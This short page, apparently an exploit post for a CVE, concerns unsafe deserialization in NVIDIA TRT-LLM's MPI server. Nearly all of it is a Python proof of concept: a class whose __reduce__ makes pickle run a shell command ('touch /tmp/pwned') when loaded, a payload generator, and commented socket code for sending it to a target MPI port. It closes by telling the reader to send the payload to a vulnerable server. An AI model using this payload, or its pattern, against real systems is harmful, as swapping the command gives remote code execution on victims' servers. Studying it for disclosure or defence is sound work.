CVE-2025-33255 NVIDIA TRT-LLM不安全反序列化漏洞

import pickle import os import socket # Conceptual PoC for Unsafe Deserialization in MPI Server # This demonstrates how a malicious payload can be crafted. # In a real scenario, this payload would be sent to the vulnerable MPI endpoint. class MaliciousPayload: def __reduce__(self): # The __reduce__ method defines how the object is pickled. # Here we instruct pickle to execute a system command upon unpickling. # Example: creating a file named 'pwned' to prove execution. return (os.system, ('touch /tmp/pwned',)) def generate_exploit(): payload = pickle.dumps(MaliciousPayload()) print(f"[+] Generated malicious payload length: {len(payload)} bytes") # In an actual exploit, this payload would be sent via the MPI protocol. # Example pseudo-code for sending: # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect(('target_ip', mpi_port)) # sock.send(payload) return payload if __name__ == "__main__": data = generate_exploit() print("[+] Payload ready. Send this to the vulnerable TRT-LLM MPI server.")